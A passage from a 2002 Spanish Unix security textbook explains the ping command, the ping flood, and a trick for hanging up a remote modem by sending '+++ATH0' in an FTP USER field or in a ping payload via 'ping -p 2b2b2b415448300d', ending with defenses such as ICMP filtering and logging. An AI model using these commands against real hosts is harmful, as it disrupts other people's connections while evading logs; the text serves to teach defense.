La orden ping

El comando ping se utiliza generalmente para testear aspectos de la red, como comprobar que un sistema está encendido y conectado; esto se consigue enviando a dicha máquina paquetes ICMP (de tipo ECHO/SMALL>_REQUEST), tramas que causarán que el núcleo del sistema remoto responda con paquetes ICMP, pero esta vez de tipo ECHO/SMALL>_RESPONSE. Al recibirlos, se asume que la máquina está encendida:
 
anita:~# ping luisa
luisa is alive
anita:~#
En otras variantes de Unix (el ejemplo anterior es sobre Solaris) la orden ping produce un resultado con más información:
luisa:~# ping -c 1 anita
PING anita (192.168.0.3): 56 data bytes
64 bytes from 192.168.0.3: icmp_seq=0 ttl=255 time=0.2 ms

--- luisa ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.2/0.2/0.2 ms
luisa:~#
Aunque un simple ping resulta inofensivo en la mayoría de situaciones, existen casos en los que se puede utilizar como un arma - efectiva - para atacar sistemas; por ejemplo, uno de los ataques más conocidos es el Ping Flood, consistente en saturar una línea lenta con un número de paquetes ICMP suficientemente grande. Esta saturación causará una degradación del servicio importante, incluso la desconexión del sistema si se ataca una línea telefónica (un objetivo muy habitual para los piratas). En este último caso, el de conexiones telefónicas, otro ataque común - no directamente relacionado con ping, pero en el que se usa esta herramienta como base - consiste en enviar una trama `especial' a un módem, obligándole a finalizar la llamada: los módems conmutan a modo comando cuando reciben la orden `+++', y muchos de ellos lo hacen también al recibir remotamente esta secuencia de control. Así, podemos conectar a un puerto donde se ofrezca determinado servicio (como FTP o SMTP) en un host con un módem de estas características y colgar el módem remoto sin levantarnos de la silla, simplemente enviando la cadena `+++' seguida de una orden de colgado como `ATH0':
luisa:~# telnet XXX.XXX.X.XX 21
Trying XXX.XXX.X.XX...
Connected to XXX.XXX.X.XX.
Escape character is '^]'.
220 gema FTP server (Version wu-2.4.2-academ[BETA-15](1) Fri Oct 22 
00:38:20 CDT 1999) ready.
USER +++ATH0
^]
telnet> close
Connection closed.
luisa:~# telnet XXX.XXX.X.XX
Trying XXX.XXX.X.XX...
telnet: Unable to connect to remote host: Network is unreachable
luisa:~#
Bien pero, >dónde entra ping en este ataque? Muy sencillo: al conectar a un servicio para enviar la cadena de caracteres, lo habitual es que el sistema remoto registre la conexión, aunque luego su módem cuelgue. En cambio, muy pocos sistemas registran en los logs un simple ping, por lo que esta orden se convierte en un mecanismo que algunos piratas utilizan para no dejar rastro de sus acciones; esto se consigue de una forma muy sencilla: en la utilidad ping de la mayoría de Unices existe un parámetro que permite especificar el contenido del paquete enviado (por ejemplo, `-p' en Linux), por lo que simplemente hemos de insertar (en hexadecimal) la cadena `+++ATH0' en la trama que enviamos al sistema remoto:
luisa:~# ping -c 1 XXX.XXX.X.XX
PING XXX.XXX.X.XX (XXX.XXX.X.XX): 56 data bytes
64 bytes from XXX.XXX.X.XX: icmp_seq=0 ttl=255 time=0.2 ms

--- XXX.XXX.X.XX ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 6.5/6.5/6.5 ms
luisa:~# ping -p 2b2b2b415448300d XXX.XXX.X.XX
PING XXX.XXX.X.XX (XXX.XXX.X.XX): 56 data bytes

^C
--- XXX.XXX.X.XX ping statistics ---
1 packets transmitted, 0 packets received, 100% packet loss
luisa:~# telnet XXX.XXX.X.XX
Trying XXX.XXX.X.XX...
telnet: Unable to connect to remote host: Network is unreachable
luisa:~#
Para evitar los problemas relacionados con los paquetes ICMP que sistemas remotos puedan enviar a nuestra máquina puede ser conveniente filtrar dicho protocolo mediante un cortafuegos (incluso situado en el propio equipo); si no tenemos esta posibilidad, al menos es interesante registrar las tramas de este tipo que llegan hasta nuestra máquina, con programas como icmpinfo (si hacemos esto, hemos de tener cuidado con las negaciones de servicio ocasionadas por una cantidad de logs excesiva en el disco duro).

Ah, si es nuestro módem el que presenta el problema que acabamos de comentar, podemos solucionarlo mediante la cadena de inicialización `s2=255'.
© 2002 Antonio Villalón Huerta